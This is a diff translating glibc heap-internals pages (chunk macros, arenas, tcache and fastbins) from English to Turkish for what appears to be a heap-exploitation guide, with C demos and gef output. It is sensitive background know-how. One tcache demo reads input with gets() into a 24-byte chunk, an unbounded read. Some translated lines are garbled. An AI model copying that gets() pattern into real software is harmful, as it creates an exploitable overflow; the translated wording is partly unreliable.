MALLOC_ALIGN_MASK) +((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ +& MALLOC_ALIGN_MASK) /* pad request bytes into a usable size -- internal version */ /* Note: This must be a macro that evaluates to a compile time constant - if passed a literal constant. */ +if passed a literal constant. */ #define request2size(req) \ - (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ - MINSIZE : \ - ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) +(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ +MINSIZE : \ +((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Check if REQ overflows when padded and aligned and if the resulting - value is less than PTRDIFF_T. Returns the requested size or - MINSIZE in case the value is less than MINSIZE, or 0 if any of the - previous checks fail. */ +value is less than PTRDIFF_T. Returns the requested size or +MINSIZE in case the value is less than MINSIZE, or 0 if any of the +previous checks fail. */ static inline size_t checked_request2size (size_t req) __nonnull (1) { - if (__glibc_unlikely (req > PTRDIFF_MAX)) - return 0; +if (__glibc_unlikely (req > PTRDIFF_MAX)) +return 0; - /* When using tagged memory, we cannot share the end of the user - block with the header for the next chunk, so ensure that we - allocate blocks that are rounded up to the granule size. Take - care not to overflow from close to MAX_SIZE_T to a small - number. Ideally, this would be part of request2size(), but that - must be a macro that produces a compile time constant if passed - a constant literal. */ - if (__glibc_unlikely (mtag_enabled)) - { - /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ - asm (""); +/* When using tagged memory, we cannot share the end of the user +block with the header for the next chunk, so ensure that we +allocate blocks that are rounded up to the granule size. Take +care not to overflow from close to MAX_SIZE_T to a small +number. Ideally, this would be part of request2size(), but that +must be a macro that produces a compile time constant if passed +a constant literal. */ +if (__glibc_unlikely (mtag_enabled)) +{ +/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ +asm (""); - req = (req + (__MTAG_GRANULE_SIZE - 1)) & - ~(size_t)(__MTAG_GRANULE_SIZE - 1); - } +req = (req + (__MTAG_GRANULE_SIZE - 1)) & +~(size_t)(__MTAG_GRANULE_SIZE - 1); +} - return request2size (req); +return request2size (req); } ``` +Not edin ki toplam gereken alanı hesaplamak için yalnızca `SIZE_SZ` 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir. -Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. +### Parça verilerini al ve meta verileri değiştir -### Get Chunk data and alter metadata - -These functions work by receiving a pointer to a chunk and are useful to check/set metadata: - -- Check chunk flags +Bu fonksiyonlar bir parçaya işaretçi alarak çalışır ve meta verileri kontrol etmek/ayarlamak için faydalıdır: +- Parça bayraklarını kontrol et ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained - from a non-main arena. This is only set immediately before handing - the chunk to the user, if necessary. */ +from a non-main arena. This is only set immediately before handing +the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ @@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) ``` - -- Sizes and pointers to other chunks - +- Diğer parçaların boyutları ve işaretçileri ```c /* - Bits to mask off when extracting size +Bits to mask off when extracting size - Note: IS_MMAPPED is intentionally not masked off from size field in - macros for which mmapped chunks should never be seen. This should - cause helpful core dumps to occur if it is tried by accident by - people extending or adapting this malloc. - */ +Note: IS_MMAPPED is intentionally not masked off from size field in +macros for which mmapped chunks should never be seen. This should +cause helpful core dumps to occur if it is tried by accident by +people extending or adapting this malloc. +*/ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* Get size, ignoring use bits */ @@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` - - Insue bit - ```c /* extract p's inuse bit */ #define inuse(p) \ - ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) +((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) /* set/clear chunk as being inuse without otherwise disturbing */ #define set_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE #define clear_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define set_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) #define clear_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` - -- Set head and footer (when chunk nos in use - +- Başlık ve altbilgi ayarlayın (parça numaraları kullanıldığında) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` - -- Get the size of the real usable data inside the chunk - +- Parçanın içindeki gerçek kullanılabilir verinin boyutunu alın ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size /* This is the size of the real usable data in the chunk. Not valid for - dumped heap chunks. */ +dumped heap chunks. */ #define memsize(p) \ - (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ - chunksize (p) - CHUNK_HDR_SZ : \ - chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) +(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ +chunksize (p) - CHUNK_HDR_SZ : \ +chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) /* If memory tagging is enabled the layout changes to accommodate the granule - size, this is wasteful for small allocations so not done by default. - Both the chunk header and user data has to be granule aligned. */ +size, this is wasteful for small allocations so not done by default. +Both the chunk header and user data has to be granule aligned. */ _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, - "memory tagging is not supported with large granule."); +"memory tagging is not supported with large granule."); static __always_inline void * tag_new_usable (void *ptr) { - if (__glibc_unlikely (mtag_enabled) && ptr) - { - mchunkptr cp = mem2chunk(ptr); - ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); - } - return ptr; +if (__glibc_unlikely (mtag_enabled) && ptr) +{ +mchunkptr cp = mem2chunk(ptr); +ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); +} +return ptr; } ``` +## Örnekler -## Examples - -### Quick Heap Example - -Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64: +### Hızlı Yığın Örneği +Hızlı yığın örneği [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ancak arm64'te: ```c #include #include @@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http void main(void) { - char *ptr; - ptr = malloc(0x10); - strcpy(ptr, "panda"); +char *ptr; +ptr = malloc(0x10); +strcpy(ptr, "panda"); } ``` - -Set a breakpoint at the end of the main function and lets find out where the information was stored: +Ana fonksiyonun sonunda bir kesme noktası ayarlayın ve bilgilerin nerede saklandığını bulalım:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. - -The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number. +Panda dizesinin `0xaaaaaaac12a0` adresinde saklandığını görebiliyoruz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) temsil ettiğini ve bu parçanın uzunluğunun `0x21` olduğunu görebiliyoruz. +Rezerve edilen ekstra alan (0x21-0x10=0x11) **eklenmiş başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16-byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` - -### Multithreading Example +### Çoklu İş Parçacığı Örneği
-Multithread - +Çoklu İş Parçacığı ```c #include #include @@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1 void* threadFuncMalloc(void* arg) { - printf("Hello from thread 1\n"); - char* addr = (char*) malloc(1000); - printf("After malloc and before free in thread 1\n"); - free(addr); - printf("After free in thread 1\n"); +printf("Hello from thread 1\n"); +char* addr = (char*) malloc(1000); +printf("After malloc and before free in thread 1\n"); +free(addr); +printf("After free in thread 1\n"); } void* threadFuncNoMalloc(void* arg) { - printf("Hello from thread 2\n"); +printf("Hello from thread 2\n"); } int main() { - pthread_t t1; - void* s; - int ret; - char* addr; +pthread_t t1; +void* s; +int ret; +char* addr; - printf("Before creating thread 1\n"); - getchar(); - ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); - getchar(); +printf("Before creating thread 1\n"); +getchar(); +ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); +getchar(); - printf("Before creating thread 2\n"); - ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); +printf("Before creating thread 2\n"); +ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); - printf("Before exit\n"); - getchar(); +printf("Before exit\n"); +getchar(); - return 0; +return 0; } ``` -
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena: +Önceki örneği hata ayıklarken, başlangıçta yalnızca 1 arena olduğunu görebiliriz:
-Then, after calling the first thread, the one that calls malloc, a new arena is created: +Daha sonra, malloc'u çağıran ilk iş parçacığı çağrıldığında, yeni bir arena oluşturulur:
-and inside of it some chunks can be found: +Ve içinde bazı parçalar bulunabilir:
-## Bins & Memory Allocations/Frees +## Bins & Bellek Tahsisleri/Serbest Bırakmaları -Check what are the bins and how are they organized and how memory is allocated and freed in: +Bins'lerin ne olduğunu ve nasıl organize olduklarını ve belleğin nasıl tahsis edildiğini ve serbest bırakıldığını kontrol edin: {{#ref}} bins-and-memory-allocations.md {{#endref}} -## Heap Functions Security Checks +## Heap Fonksiyonları Güvenlik Kontrolleri -Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: +Heap ile ilgili fonksiyonlar, eylemlerini gerçekleştirmeden önce heap'in bozulmadığından emin olmak için belirli kontroller yapacaktır: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## Referanslar - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index eb184fc93..dedc5a625 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -2,60 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. +Chunk'ların nasıl depolandığını daha verimli hale getirmek için her chunk sadece bir bağlı liste içinde değil, birkaç türde bulunmaktadır. Bunlar binlerdir ve 5 tür bin vardır: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) küçük binler, 63 büyük binler, 1 sıralanmamış bin, 10 hızlı bin ve her iş parçacığı için 64 tcache bin. -The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. +Her sıralanmamış, küçük ve büyük bin için başlangıç adresi aynı dizinin içindedir. 0. indeks kullanılmaz, 1 sıralanmamış bin, 2-64 binler küçük binler ve 65-127 binler büyük binlerdir. -### Tcache (Per-Thread Cache) Bins +### Tcache (İş Parçacığı Başına Önbellek) Binleri -Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. +İş parçacıkları kendi heap'lerine sahip olmaya çalışsalar da (bkz. [Arenas](bins-and-memory-allocations.md#arenas) ve [Subheaps](bins-and-memory-allocations.md#subheaps)), çok sayıda iş parçacığına sahip bir sürecin (örneğin bir web sunucusu) **başka iş parçacıklarıyla heap'i paylaşma olasılığı vardır**. Bu durumda, ana çözüm **kilitlerin** kullanılmasıdır, bu da **iş parçacıklarını önemli ölçüde yavaşlatabilir**. -Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). +Bu nedenle, bir tcache, **chunk'ları birleştirmeyen** tek bir bağlı liste şeklinde iş parçacığı başına bir hızlı bin gibidir. Her iş parçacığının **64 tek bağlı tcache bin'i** vardır. Her bin, [64-bit sistemlerde 24 ile 1032B ve 32-bit sistemlerde 12 ile 516B arasında](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) [7 aynı boyutta chunk](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) alabilir. -**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. +**Bir iş parçacığı bir chunk'ı serbest bıraktığında**, **eğer tcache'de tahsis edilemeyecek kadar büyük değilse** ve ilgili tcache bin **dolu değilse** (zaten 7 chunk), **orada tahsis edilecektir**. Eğer tcache'ye giremiyorsa, serbest bırakma işlemini küresel olarak gerçekleştirebilmek için heap kilidini beklemesi gerekecektir. -When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ -There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. +**Bir chunk tahsis edildiğinde**, eğer **Tcache'de gerekli boyutta serbest bir chunk** varsa **onu kullanacaktır**, yoksa küresel binlerde bir tane bulabilmek veya yenisini oluşturabilmek için heap kilidini beklemesi gerekecektir.\ +Ayrıca bir optimizasyon vardır, bu durumda, heap kilidi varken, iş parçacığı **istenen boyuttaki heap chunk'ları (7) ile Tcache'ini dolduracaktır**, böylece daha fazlasına ihtiyaç duyarsa, Tcache'de bulacaktır.
-Add a tcache chunk example - +Bir tcache chunk örneği ekle ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - free(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +free(chunk); +return 0; } ``` - -Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use: - +Bunu derleyin ve ana fonksiyondaki ret opcode'unda bir kesme noktası ile hata ayıklayın. Ardından gef ile kullanılan tcache bin'ini görebilirsiniz: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ``` -
-#### Tcache Structs & Functions +#### Tcache Yapıları ve Fonksiyonları -In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. +Aşağıdaki kodda **max bins** ve **chunks per index**'in yanı sıra, çift serbest bırakmaları önlemek için oluşturulan **`tcache_entry`** yapısı ve her bir thread'in binin her indeksine ait adresleri saklamak için kullandığı **`tcache_perthread_struct`** yapısını görebilirsiniz.
-tcache_entry and tcache_perthread_struct - +tcache_entry ve tcache_perthread_struct ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c @@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind # define usize2tidx(x) csize2tidx (request2size (x)) /* With rounding and alignment, the bins are... - idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) - idx 1 bytes 25..40 or 13..20 - idx 2 bytes 41..56 or 21..28 - etc. */ +idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) +idx 1 bytes 25..40 or 13..20 +idx 2 bytes 41..56 or 21..28 +etc. */ /* This is another arbitrary limit, which tunables can change. Each - tcache bin will hold at most this number of chunks. */ +tcache bin will hold at most this number of chunks. */ # define TCACHE_FILL_COUNT 7 /* Maximum chunks in tcache bins for tunables. This value must fit the range - of tcache->counts[] entries, else they may overflow. */ +of tcache->counts[] entries, else they may overflow. */ # define MAX_TCACHE_COUNT UINT16_MAX [...] typedef struct tcache_entry { - struct tcache_entry *next; - /* This field exists to detect double frees. */ - uintptr_t key; +struct tcache_entry *next; +/* This field exists to detect double frees. */ +uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the - per-thread cache (hence "tcache_perthread_struct"). Keeping - overall size low is mildly important. Note that COUNTS and ENTRIES - are redundant (we could have just counted the linked list each - time), this is for performance reasons. */ +per-thread cache (hence "tcache_perthread_struct"). Keeping +overall size low is mildly important. Note that COUNTS and ENTRIES +are redundant (we could have just counted the linked list each +time), this is for performance reasons. */ typedef struct tcache_perthread_struct { - uint16_t counts[TCACHE_MAX_BINS]; - tcache_entry *entries[TCACHE_MAX_BINS]; +uint16_t counts[TCACHE_MAX_BINS]; +tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; ``` -
-The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj +`__tcache_init` fonksiyonu, `tcache_perthread_struct` objesi için alan oluşturan ve tahsis eden fonksiyondur.
-tcache_init code - +tcache_init kodu ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 static void tcache_init(void) { - mstate ar_ptr; - void *victim = 0; - const size_t bytes = sizeof (tcache_perthread_struct); +mstate ar_ptr; +void *victim = 0; +const size_t bytes = sizeof (tcache_perthread_struct); - if (tcache_shutting_down) - return; +if (tcache_shutting_down) +return; - arena_get (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - if (!victim && ar_ptr != NULL) - { - ar_ptr = arena_get_retry (ar_ptr, bytes); - victim = _int_malloc (ar_ptr, bytes); - } +arena_get (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +if (!victim && ar_ptr != NULL) +{ +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} - if (ar_ptr != NULL) - __libc_lock_unlock (ar_ptr->mutex); +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); - /* In a low memory situation, we may not be able to allocate memory - - in which case, we just keep trying later. However, we - typically do this very early, so either there is sufficient - memory, or there isn't enough memory to do non-trivial - allocations anyway. */ - if (victim) - { - tcache = (tcache_perthread_struct *) victim; - memset (tcache, 0, sizeof (tcache_perthread_struct)); - } +/* In a low memory situation, we may not be able to allocate memory +- in which case, we just keep trying later. However, we +typically do this very early, so either there is sufficient +memory, or there isn't enough memory to do non-trivial +allocations anyway. */ +if (victim) +{ +tcache = (tcache_perthread_struct *) victim; +memset (tcache, 0, sizeof (tcache_perthread_struct)); +} } ``` -
-#### Tcache Indexes +#### Tcache İndeksleri -The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. +Tcache, boyuta bağlı olarak birkaç bin içerir ve **her indeksin ilk parçasına ve indeks başına parça sayısına işaret eden başlangıç işaretçileri bir parça içinde bulunur**. Bu, bu bilgiyi (genellikle ilk olan) içeren parçayı bulmanın, tüm tcache başlangıç noktalarını ve Tcache parçalarının sayısını bulmayı mümkün kıldığı anlamına gelir. -### Fast bins +### Hızlı Bins -Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). +Hızlı bins, **küçük parçalar için bellek tahsisini hızlandırmak** amacıyla, yakın zamanda serbest bırakılan parçaları hızlı erişim yapısında tutmak için tasarlanmıştır. Bu binler, Son-Giren İlk Çıkar (LIFO) yaklaşımını kullanır, bu da **en son serbest bırakılan parçanın** yeni bir tahsis talebi olduğunda yeniden kullanılacak ilk parça olduğu anlamına gelir. Bu davranış hız açısından avantajlıdır, çünkü bir yığının (LIFO) üstünden eklemek ve çıkarmak, bir kuyruğa (FIFO) göre daha hızlıdır. -Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. +Ayrıca, **hızlı bins tek bağlı listeler** kullanır, çift bağlı değil, bu da hızı daha da artırır. Hızlı bins'teki parçalar komşularıyla birleştirilmediğinden, ortadan çıkarılmasına izin veren karmaşık bir yapıya ihtiyaç yoktur. Tek bağlı liste, bu işlemler için daha basit ve hızlıdır. -Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: +Temelde burada olan, başlığın (kontrol edilecek ilk parçaya işaretçi) her zaman o boyuttaki en son serbest bırakılan parçaya işaret etmesidir. Yani: -- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk -- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header +- O boyutta yeni bir parça tahsis edildiğinde, başlık kullanılacak bir serbest parçaya işaret eder. Bu serbest parça, kullanılacak bir sonraki parçaya işaret ettiğinden, bu adres başlıkta saklanır, böylece bir sonraki tahsis mevcut bir parçayı nereden alacağını bilir. +- Bir parça serbest bırakıldığında, serbest parça mevcut serbest parçanın adresini saklayacak ve bu yeni serbest bırakılan parçanın adresi başlığa konulacaktır. -The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... - -> [!CAUTION] -> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. +Bağlı listenin maksimum boyutu `0x80`'dir ve `0x20` boyutundaki bir parça `0` indeksinde, `0x30` boyutundaki bir parça `1` indeksinde olacak şekilde düzenlenmiştir... +> [!DİKKAT] +> Hızlı bins'teki parçalar mevcut olarak ayarlanmamıştır, bu nedenle çevresindeki diğer serbest parçalarla birleştirilmek yerine bir süre hızlı bin parçaları olarak tutulurlar. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Fastbins +Fastbins - An array of lists holding recently freed small chunks. Fastbins - are not doubly linked. It is faster to single-link them, and - since chunks are never removed from the middles of these lists, - double linking is not necessary. Also, unlike regular bins, they - are not even processed in FIFO order (they use faster LIFO) since - ordering doesn't much matter in the transient contexts in which - fastbins are normally used. +An array of lists holding recently freed small chunks. Fastbins +are not doubly linked. It is faster to single-link them, and +since chunks are never removed from the middles of these lists, +double linking is not necessary. Also, unlike regular bins, they +are not even processed in FIFO order (they use faster LIFO) since +ordering doesn't much matter in the transient contexts in which +fastbins are normally used. - Chunks in fastbins keep their inuse bit set, so they cannot - be consolidated with other free chunks. malloc_consolidate - releases all chunks in fastbins and consolidates them with - other free chunks. - */ +Chunks in fastbins keep their inuse bit set, so they cannot +be consolidated with other free chunks. malloc_consolidate +releases all chunks in fastbins and consolidates them with +other free chunks. +*/ typedef struct malloc_chunk *mfastbinptr; #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \ - ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) +((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) /* The maximum fastbin request size we support */ @@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr; #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) ``` -
-Add a fastbin chunk example - +Hızlı bir parça örneği ekle ```c #include #include int main(void) { - char *chunks[8]; - int i; +char *chunks[8]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 8; i++) { - chunks[i] = malloc(24); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 8; i++) { +chunks[i] = malloc(24); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - return 0; +return 0; } ``` +8 aynı boyutta parça tahsis ettiğimizi ve serbest bıraktığımızı not edin, böylece tcache'i doldururlar ve sekizinci parça hızlı parçaya kaydedilir. -Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin: - +Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklayın. Ardından `gef` ile tcache kutusunun dolu olduğunu ve bir parçanın hızlı kutuda olduğunu görebilirsiniz: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=1, size=0x30] 0x00 ``` -
